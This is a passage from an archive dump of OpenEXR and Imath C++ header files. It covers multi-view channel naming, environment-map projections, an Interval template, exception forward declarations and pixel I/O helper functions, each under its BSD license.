EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_MULTIVIEW_H #define INCLUDED_IMF_MULTIVIEW_H #include "ImfChannelList.h" #include "ImfStringVectorAttribute.h" #include "ImfExport.h" #include "ImfNamespace.h" //----------------------------------------------------------------------------- // // Functions related to accessing channels and views in multi-view // OpenEXR files. // // A multi-view image file contains two or more views of the same // scene, as seen from different viewpoints, for example, a left-eye // and a right-eye view for stereo displays. Each view has its own // set of image channels. A naming convention identifies the channels // that belong to a given view. // // A "multiView" attribute in the file header lists the names of the // views in an image (see ImfStandardAttributes.h), and channel names // of the form // // layer.view.channel // // allow channels to be matched with views. // // For compatibility with singe-view images, the first view listed in // the multiView attribute is the "default view", and channels that // have no periods in their names are considered part of the default // view. // // For example, if a file's multiView attribute lists the views // "left" and "right", in that order, then "left" is the default // view. Channels // // "R", "left.Z", "diffuse.left.R" // // are part of the "left" view; channels // // "right.R", "right.Z", "diffuse.right.R" // // are part of the "right" view; and channels // // "tmp.R", "right.diffuse.R", "diffuse.tmp.R" // // belong to no view at all. // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Return the name of the default view given a multi-view string vector, // that is, return the first element of the string vector. If the string // vector is empty, return "". // IMF_EXPORT std::string defaultViewName (const StringVector &multiView); // // Given the name of a channel, return the name of the view to // which it belongs. Returns the empty string ("") if the channel // is not a member of any named view. // IMF_EXPORT std::string viewFromChannelName (const std::string &channel, const StringVector &multiView); // // Return whether channel1 and channel2 are the same channel but // viewed in different views. (Return false if either channel // belongs to no view or if both channels belong to the same view.) // IMF_EXPORT bool areCounterparts (const std::string &channel1, const std::string &channel2, const StringVector &multiView); // // Return a list of all channels belonging to view viewName. // IMF_EXPORT ChannelList channelsInView (const std::string &viewName, const ChannelList &channelList, const StringVector &multiView); // // Return a list of channels not associated with any view. // IMF_EXPORT ChannelList channelsInNoView (const ChannelList &channelList, const StringVector &multiView); // // Given the name of a channel, return a list of the same channel // in all views (for example, given X.left.Y return X.left.Y, // X.right.Y, X.centre.Y, etc.). // IMF_EXPORT ChannelList channelInAllViews (const std::string &channame, const ChannelList &channelList, const StringVector &multiView); // // Given the name of a channel in one view, return the corresponding // channel name for view otherViewName. Return "" if no corresponding // channel exists in view otherViewName, or if view otherViewName doesn't // exist. // IMF_EXPORT std::string channelInOtherView (const std::string &channel, const ChannelList &channelList, const StringVector &multiView, const std::string &otherViewName); // // Given a channel name that does not include a view name, insert // multiView[i] into the channel name at the appropriate location. // If i is zero and the channel name contains no periods, then do // not insert the view name. // IMF_EXPORT std::string insertViewName (const std::string &channel, const StringVector &multiView, int i); // // Given a channel name that does may include a view name, return // string without the view name. If the string does not contain // the view name, return the string unaltered. // (Will only remove the viewname if it is in the correct position // in the string) // IMF_EXPORT std::string removeViewName (const std::string &channel, const std::string &view); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfEnvmap.h 0000644 00000026445 15246445047 0010105 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_ENVMAP_H #define INCLUDED_IMF_ENVMAP_H //----------------------------------------------------------------------------- // // Environment maps // // Environment maps define a mapping from 3D directions to 2D // pixel space locations. Environment maps are typically used // in 3D rendering, for effects such as quickly approximating // how shiny surfaces reflect their environment. // // Environment maps can be stored in scanline-based or in tiled // OpenEXR files. The fact that an image is an environment map // is indicated by the presence of an EnvmapAttribute whose name // is "envmap". (Convenience functions to access this attribute // are defined in header file ImfStandardAttributes.h.) // The attribute's value defines the mapping from 3D directions // to 2D pixel space locations. // // This header file defines the set of possible EnvmapAttribute // values. // // For each possible EnvmapAttribute value, this header file also // defines a set of convienience functions to convert between 3D // directions and 2D pixel locations. // // Most of the convenience functions defined below require a // dataWindow parameter. For scanline-based images, and for // tiled images with level mode ONE_LEVEL, the dataWindow // parameter should be set to the image's data window, as // defined in the image header. For tiled images with level // mode MIPMAP_LEVELS or RIPMAP_LEVELS, the data window of the // image level that is being accessed should be used instead. // (See the dataWindowForLevel() methods in ImfTiledInputFile.h // and ImfTiledOutputFile.h.) // //----------------------------------------------------------------------------- #include "ImathBox.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //-------------------------------- // Supported environment map types //-------------------------------- enum Envmap { ENVMAP_LATLONG = 0, // Latitude-longitude environment map ENVMAP_CUBE = 1, // Cube map NUM_ENVMAPTYPES // Number of different environment map types }; //------------------------------------------------------------------------- // Latitude-Longitude Map: // // The environment is projected onto the image using polar coordinates // (latitude and longitude). A pixel's x coordinate corresponds to // its longitude, and the y coordinate corresponds to its latitude. // Pixel (dataWindow.min.x, dataWindow.min.y) has latitude +pi/2 and // longitude +pi; pixel (dataWindow.max.x, dataWindow.max.y) has // latitude -pi/2 and longitude -pi. // // In 3D space, latitudes -pi/2 and +pi/2 correspond to the negative and // positive y direction. Latitude 0, longitude 0 points into positive // z direction; and latitude 0, longitude pi/2 points into positive x // direction. // // The size of the data window should be 2*N by N pixels (width by height), // where N can be any integer greater than 0. //------------------------------------------------------------------------- namespace LatLongMap { //---------------------------------------------------- // Convert a 3D direction to a 2D vector whose x and y // components represent the corresponding latitude // and longitude. //---------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V2f latLong (const IMATH_NAMESPACE::V3f &direction); //-------------------------------------------------------- // Convert the position of a pixel to a 2D vector whose // x and y components represent the corresponding latitude // and longitude. //-------------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V2f latLong (const IMATH_NAMESPACE::Box2i &dataWindow, const IMATH_NAMESPACE::V2f &pixelPosition); //------------------------------------------------------------- // Convert a 2D vector, whose x and y components represent // longitude and latitude, into a corresponding pixel position. //------------------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V2f pixelPosition (const IMATH_NAMESPACE::Box2i &dataWindow, const IMATH_NAMESPACE::V2f &latLong); //----------------------------------------------------- // Convert a 3D direction vector into a corresponding // pixel position. pixelPosition(dw,dir) is equivalent // to pixelPosition(dw,latLong(dw,dir)). //----------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V2f pixelPosition (const IMATH_NAMESPACE::Box2i &dataWindow, const IMATH_NAMESPACE::V3f &direction); //-------------------------------------------------------- // Convert the position of a pixel in a latitude-longitude // map into a corresponding 3D direction. //-------------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V3f direction (const IMATH_NAMESPACE::Box2i &dataWindow, const IMATH_NAMESPACE::V2f &pixelPosition); } //-------------------------------------------------------------- // Cube Map: // // The environment is projected onto the six faces of an // axis-aligned cube. The cube's faces are then arranged // in a 2D image as shown below. // // 2-----------3 // / /| // / / | Y // / / | | // 6-----------7 | | // | | | | // | | | | // | 0 | 1 *------- X // | | / / // | | / / // | |/ / // 4-----------5 Z // // dataWindow.min // / // / // +-----------+ // |3 Y 7| // | | | // | | | // | ---+---Z | +X face // | | | // | | | // |1 5| // +-----------+ // |6 Y 2| // | | | // | | | // | Z---+--- | -X face // | | | // | | | // |4 0| // +-----------+ // |6 Z 7| // | | | // | | | // | ---+---X | +Y face // | | | // | | | // |2 3| // +-----------+ // |0 1| // | | | // | | | // | ---+---X | -Y face // | | | // | | | // |4 Z 5| // +-----------+ // |7 Y 6| // | | | // | | | // | X---+--- | +Z face // | | | // | | | // |5 4| // +-----------+ // |2 Y 3| // | | | // | | | // | ---+---X | -Z face // | | | // | | | // |0 1| // +-----------+ // / // / // dataWindow.max // // The size of the data window should be N by 6*N pixels // (width by height), where N can be any integer greater // than 0. // //-------------------------------------------------------------- //------------------------------------ // Names for the six faces of the cube //------------------------------------ enum CubeMapFace { CUBEFACE_POS_X, // +X face CUBEFACE_NEG_X, // -X face CUBEFACE_POS_Y, // +Y face CUBEFACE_NEG_Y, // -Y face CUBEFACE_POS_Z, // +Z face CUBEFACE_NEG_Z // -Z face }; namespace CubeMap { //--------------------------------------------- // Width and height of a cube's face, in pixels //--------------------------------------------- IMF_EXPORT int sizeOfFace (const IMATH_NAMESPACE::Box2i &dataWindow); //------------------------------------------ // Compute the region in the environment map // that is covered by the specified face. //------------------------------------------ IMF_EXPORT IMATH_NAMESPACE::Box2i dataWindowForFace (CubeMapFace face, const IMATH_NAMESPACE::Box2i &dataWindow); //---------------------------------------------------- // Convert the coordinates of a pixel within a face // [in the range from (0,0) to (s-1,s-1), where // s == sizeOfFace(dataWindow)] to pixel coordinates // in the environment map. //---------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V2f pixelPosition (CubeMapFace face, const IMATH_NAMESPACE::Box2i &dataWindow, IMATH_NAMESPACE::V2f positionInFace); //-------------------------------------------------------------- // Convert a 3D direction into a cube face, and a pixel position // within that face. // // If you have a 3D direction, dir, the following code fragment // finds the position, pos, of the corresponding pixel in an // environment map with data window dw: // // CubeMapFace f; // V2f pif, pos; // // faceAndPixelPosition (dir, dw, f, pif); // pos = pixelPosition (f, dw, pif); // //-------------------------------------------------------------- IMF_EXPORT void faceAndPixelPosition (const IMATH_NAMESPACE::V3f &direction, const IMATH_NAMESPACE::Box2i &dataWindow, CubeMapFace &face, IMATH_NAMESPACE::V2f &positionInFace); // -------------------------------------------------------- // Given a cube face and a pixel position within that face, // compute the corresponding 3D direction. // -------------------------------------------------------- IMF_EXPORT IMATH_NAMESPACE::V3f direction (CubeMapFace face, const IMATH_NAMESPACE::Box2i &dataWindow, const IMATH_NAMESPACE::V2f &positionInFace); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathInterval.h 0000644 00000012541 15246445047 0010762 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHINTERVAL_H #define INCLUDED_IMATHINTERVAL_H //------------------------------------------------------------------- // // class Imath::Interval<class T> // -------------------------------- // // An Interval has a min and a max and some miscellaneous // functions. It is basically a Box<T> that allows T to be // a scalar. // //------------------------------------------------------------------- #include "ImathVec.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Interval { public: //------------------------- // Data Members are public //------------------------- T min; T max; //----------------------------------------------------- // Constructors - an "empty" Interval is created by default //----------------------------------------------------- Interval(); Interval(const T& point); Interval(const T& minT, const T& maxT); //-------------------------------- // Operators: we get != from STL //-------------------------------- bool operator == (const Interval<T> &src) const; //------------------ // Interval manipulation //------------------ void makeEmpty(); void extendBy(const T& point); void extendBy(const Interval<T>& interval); //--------------------------------------------------- // Query functions - these compute results each time //--------------------------------------------------- T size() const; T center() const; bool intersects(const T &point) const; bool intersects(const Interval<T> &interval) const; //---------------- // Classification //---------------- bool hasVolume() const; bool isEmpty() const; }; //-------------------- // Convenient typedefs //-------------------- typedef Interval <float> Intervalf; typedef Interval <double> Intervald; typedef Interval <short> Intervals; typedef Interval <int> Intervali; //---------------- // Implementation //---------------- template <class T> inline Interval<T>::Interval() { makeEmpty(); } template <class T> inline Interval<T>::Interval(const T& point) { min = point; max = point; } template <class T> inline Interval<T>::Interval(const T& minV, const T& maxV) { min = minV; max = maxV; } template <class T> inline bool Interval<T>::operator == (const Interval<T> &src) const { return (min == src.min && max == src.max); } template <class T> inline void Interval<T>::makeEmpty() { min = limits<T>::max(); max = limits<T>::min(); } template <class T> inline void Interval<T>::extendBy(const T& point) { if ( point < min ) min = point; if ( point > max ) max = point; } template <class T> inline void Interval<T>::extendBy(const Interval<T>& interval) { if ( interval.min < min ) min = interval.min; if ( interval.max > max ) max = interval.max; } template <class T> inline bool Interval<T>::intersects(const T& point) const { return point >= min && point <= max; } template <class T> inline bool Interval<T>::intersects(const Interval<T>& interval) const { return interval.max >= min && interval.min <= max; } template <class T> inline T Interval<T>::size() const { return max-min; } template <class T> inline T Interval<T>::center() const { return (max+min)/2; } template <class T> inline bool Interval<T>::isEmpty() const { return max < min; } template <class T> inline bool Interval<T>::hasVolume() const { return max > min; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHINTERVAL_H OpenEXR/IexForward.h 0000644 00000012144 15246445047 0010264 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXFORWARD_H #define INCLUDED_IEXFORWARD_H #include "IexNamespace.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER // // Base exceptions. // class BaseExc; class ArgExc; class LogicExc; class InputExc; class IoExc; class MathExc; class ErrnoExc; class NoImplExc; class NullExc; class TypeExc; // // Math exceptions. // class OverflowExc; class UnderflowExc; class DivzeroExc; class InexactExc; class InvalidFpOpExc; // // Errno exceptions. // class EpermExc; class EnoentExc; class EsrchExc; class EintrExc; class EioExc; class EnxioExc; class E2bigExc; class EnoexecExc; class EbadfExc; class EchildExc; class EagainExc; class EnomemExc; class EaccesExc; class EfaultExc; class EnotblkExc; class EbusyExc; class EexistExc; class ExdevExc; class EnodevExc; class EnotdirExc; class EisdirExc; class EinvalExc; class EnfileExc; class EmfileExc; class EnottyExc; class EtxtbsyExc; class EfbigExc; class EnospcExc; class EspipeExc; class ErofsExc; class EmlinkExc; class EpipeExc; class EdomExc; class ErangeExc; class EnomsgExc; class EidrmExc; class EchrngExc; class El2nsyncExc; class El3hltExc; class El3rstExc; class ElnrngExc; class EunatchExc; class EnocsiExc; class El2hltExc; class EdeadlkExc; class EnolckExc; class EbadeExc; class EbadrExc; class ExfullExc; class EnoanoExc; class EbadrqcExc; class EbadsltExc; class EdeadlockExc; class EbfontExc; class EnostrExc; class EnodataExc; class EtimeExc; class EnosrExc; class EnonetExc; class EnopkgExc; class EremoteExc; class EnolinkExc; class EadvExc; class EsrmntExc; class EcommExc; class EprotoExc; class EmultihopExc; class EbadmsgExc; class EnametoolongExc; class EoverflowExc; class EnotuniqExc; class EbadfdExc; class EremchgExc; class ElibaccExc; class ElibbadExc; class ElibscnExc; class ElibmaxExc; class ElibexecExc; class EilseqExc; class EnosysExc; class EloopExc; class ErestartExc; class EstrpipeExc; class EnotemptyExc; class EusersExc; class EnotsockExc; class EdestaddrreqExc; class EmsgsizeExc; class EprototypeExc; class EnoprotooptExc; class EprotonosupportExc; class EsocktnosupportExc; class EopnotsuppExc; class EpfnosupportExc; class EafnosupportExc; class EaddrinuseExc; class EaddrnotavailExc; class EnetdownExc; class EnetunreachExc; class EnetresetExc; class EconnabortedExc; class EconnresetExc; class EnobufsExc; class EisconnExc; class EnotconnExc; class EshutdownExc; class EtoomanyrefsExc; class EtimedoutExc; class EconnrefusedExc; class EhostdownExc; class EhostunreachExc; class EalreadyExc; class EinprogressExc; class EstaleExc; class EioresidExc; class EucleanExc; class EnotnamExc; class EnavailExc; class EisnamExc; class EremoteioExc; class EinitExc; class EremdevExc; class EcanceledExc; class EnolimfileExc; class EproclimExc; class EdisjointExc; class EnologinExc; class EloginlimExc; class EgrouploopExc; class EnoattachExc; class EnotsupExc; class EnoattrExc; class EdircorruptedExc; class EdquotExc; class EnfsremoteExc; class EcontrollerExc; class EnotcontrollerExc; class EenqueuedExc; class EnotenqueuedExc; class EjoinedExc; class EnotjoinedExc; class EnoprocExc; class EmustrunExc; class EnotstoppedExc; class EclockcpuExc; class EinvalstateExc; class EnoexistExc; class EendofminorExc; class EbufsizeExc; class EemptyExc; class EnointrgroupExc; class EinvalmodeExc; class EcantextentExc; class EinvaltimeExc; class EdestroyedExc; IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IEXFORWARD_H OpenEXR/ImfMisc.h 0000644 00000040303 15246445047 0007537 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_MISC_H #define INCLUDED_IMF_MISC_H //----------------------------------------------------------------------------- // // Miscellaneous helper functions for OpenEXR image file I/O // //----------------------------------------------------------------------------- #include "ImfPixelType.h" #include "ImfCompressor.h" #include "ImfArray.h" #include "ImfNamespace.h" #include "ImfExport.h" #include "ImfForward.h" #include <cstddef> #include <vector> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Return the size of a single value of the indicated type, // in the machine's native format. // IMF_EXPORT int pixelTypeSize (PixelType type); // // Return the number of samples a channel with subsampling rate // s has in the interval [a, b]. For example, a channel with // subsampling rate 2 (and samples at 0, 2, 4, 6, 8, etc.) has // 2 samples in the interval [1, 5] and three samples in the // interval [2, 6]. // IMF_EXPORT int numSamples (int s, int a, int b); // // Build a table that lists, for each scanline in a file's // data window, how many bytes are required to store all // pixels in all channels in that scanline (assuming that // the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerLineTable (const Header &header, std::vector<size_t> &bytesPerLine); // // Get the sample count for pixel (x, y) using the array base // pointer, xStride and yStride. // IMF_EXPORT int& sampleCount(char* base, int xStride, int yStride, int x, int y); IMF_EXPORT const int& sampleCount(const char* base, int xStride, int yStride, int x, int y); // // Build a table that lists, for each scanline in a DEEP file's // data window, how many bytes are required to store all // pixels in all channels in scanlines ranged in [minY, maxY] // (assuming that the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerDeepLineTable (const Header &header, int minY, int maxY, const char* base, int xStride, int yStride, std::vector<size_t> &bytesPerLine); // // Build a table that lists, for each scanline in a DEEP file's // data window, how many bytes are required to store all // pixels in all channels in every scanline (assuming that // the pixel data are tightly packed). // IMF_EXPORT size_t bytesPerDeepLineTable (const Header &header, char* base, int xStride, int yStride, std::vector<size_t> &bytesPerLine); // // For scanline-based files, pixels are read or written in // in multi-scanline blocks. Internally, class OutputFile // and class ScanLineInputFile store a block of scan lines // in a "line buffer". Function offsetInLineBufferTable() // builds a table that lists, scanlines within range // [scanline1, scanline2], the location of the pixel data // for the scanline relative to the beginning of the line buffer, // where scanline1 = 0 represents the first line in the DATA WINDOW. // The one without specifying the range will make scanline1 = 0 // and scanline2 = bytesPerLine.size(). // IMF_EXPORT void offsetInLineBufferTable (const std::vector<size_t> &bytesPerLine, int scanline1, int scanline2, int linesInLineBuffer, std::vector<size_t> &offsetInLineBuffer); IMF_EXPORT void offsetInLineBufferTable (const std::vector<size_t> &bytesPerLine, int linesInLineBuffer, std::vector<size_t> &offsetInLineBuffer); // // For a scanline-based file, compute the range of scanlines // that occupy the same line buffer as a given scanline, y. // (minY is the minimum y coordinate of the file's data window.) // IMF_EXPORT int lineBufferMinY (int y, int minY, int linesInLineBuffer); IMF_EXPORT int lineBufferMaxY (int y, int minY, int linesInLineBuffer); // // Return a compressor's data format (Compressor::NATIVE or Compressor::XDR). // If compressor is 0, return Compressor::XDR. // IMF_EXPORT Compressor::Format defaultFormat (Compressor *compressor); // // Return the number of scan lines a compressor wants to compress // or uncompress at once. If compressor is 0, return 1. // IMF_EXPORT int numLinesInBuffer (Compressor *compressor); // // Copy a single channel of a horizontal row of pixels from an // input file's internal line buffer or tile buffer into a // frame buffer slice. If necessary, perform on-the-fly data // type conversion. // // readPtr initially points to the beginning of the // data in the line or tile buffer. readPtr // is advanced as the pixel data are copied; // when copyIntoFrameBuffer() returns, // readPtr points just past the end of the // copied data. // // writePtr, endPtr point to the lefmost and rightmost pixels // in the frame buffer slice // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // typeInFrameBuffer the pixel data type of the frame buffer slice // // typeInFile the pixel data type in the input file's channel // IMF_EXPORT void copyIntoFrameBuffer (const char *&readPtr, char *writePtr, char *endPtr, size_t xStride, bool fill, double fillValue, Compressor::Format format, PixelType typeInFrameBuffer, PixelType typeInFile); // // Copy a single channel of a horizontal row of pixels from an // input file's internal line buffer or tile buffer into a // frame buffer slice. If necessary, perform on-the-fly data // type conversion. // // readPtr initially points to the beginning of the // data in the line or tile buffer. readPtr // is advanced as the pixel data are copied; // when copyIntoFrameBuffer() returns, // readPtr points just past the end of the // copied data. // // base point to each pixel in the framebuffer // // sampleCountBase, provide the number of samples in each pixel // sampleCountXStride, // sampleCountYStride // // y the scanline to copy. The coordinate is // relative to the datawindow.min.y. // // minX, maxX used to indicate which pixels in the scanline // will be copied. // // xOffsetForSampleCount, used to offset the sample count array // yOffsetForSampleCount, and the base array. // xOffsetForData, // yOffsetForData // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // typeInFrameBuffer the pixel data type of the frame buffer slice // // typeInFile the pixel data type in the input file's channel // IMF_EXPORT void copyIntoDeepFrameBuffer (const char *& readPtr, char * base, const char* sampleCountBase, ptrdiff_t sampleCountXStride, ptrdiff_t sampleCountYStride, int y, int minX, int maxX, int xOffsetForSampleCount, int yOffsetForSampleCount, int xOffsetForData, int yOffsetForData, ptrdiff_t xStride, ptrdiff_t xPointerStride, ptrdiff_t yPointerStride, bool fill, double fillValue, Compressor::Format format, PixelType typeInFrameBuffer, PixelType typeInFile); // // Given a pointer into a an input file's line buffer or tile buffer, // skip over the data for xSize pixels of type typeInFile. // readPtr initially points to the beginning of the data to be skipped; // when skipChannel() returns, readPtr points just past the end of the // skipped data. // IMF_EXPORT void skipChannel (const char *&readPtr, PixelType typeInFile, size_t xSize); // // Convert an array of pixel data from the machine's native // representation to XDR format. // // toPtr, fromPtr initially point to the beginning of the input // and output pixel data arrays; when convertInPlace() // returns, toPtr and fromPtr point just past the // end of the input and output arrays. // If the native representation of the data has the // same size as the XDR data, then the conversion // can take in place, without an intermediate // temporary buffer (toPtr and fromPtr can point // to the same location). // // type the pixel data type // // numPixels number of pixels in the input and output arrays // IMF_EXPORT void convertInPlace (char *&toPtr, const char *&fromPtr, PixelType type, size_t numPixels); // // Copy a single channel of a horizontal row of pixels from a // a frame buffer into an output file's internal line buffer or // tile buffer. // // writePtr initially points to the beginning of the // data in the line or tile buffer. writePtr // is advanced as the pixel data are copied; // when copyFromFrameBuffer() returns, // writePtr points just past the end of the // copied data. // // readPtr, endPtr point to the lefmost and rightmost pixels // in the frame buffer slice // // xStride the xStride for the frame buffer slice // // format indicates if the line or tile buffer is // in NATIVE or XDR format. // // type the pixel data type in the frame buffer // and in the output file's channel (function // copyFromFrameBuffer() doesn't do on-the-fly // data type conversion) // IMF_EXPORT void copyFromFrameBuffer (char *&writePtr, const char *&readPtr, const char *endPtr, size_t xStride, Compressor::Format format, PixelType type); // // Copy a single channel of a horizontal row of pixels from a // a frame buffer in a deep data file into an output file's // internal line buffer or tile buffer. // // writePtr initially points to the beginning of the // data in the line or tile buffer. writePtr // is advanced as the pixel data are copied; // when copyFromDeepFrameBuffer() returns, // writePtr points just past the end of the // copied data. // // base the start pointer of each pixel in this channel. // It points to the real data in FrameBuffer. // It is different for different channels. // dataWindowMinX and dataWindowMinY are involved in // locating for base. // // sampleCountBase, used to locate the position to get // sampleCountXStride, the number of samples for each pixel. // sampleCountYStride Used to determine how far we should // read based on the pointer provided by base. // // y the scanline to copy. If we are dealing // with a tiled deep file, then probably a portion // of the scanline is copied. // // xMin, xMax used to indicate which pixels in the scanline // will be copied. // // xOffsetForSampleCount, used to 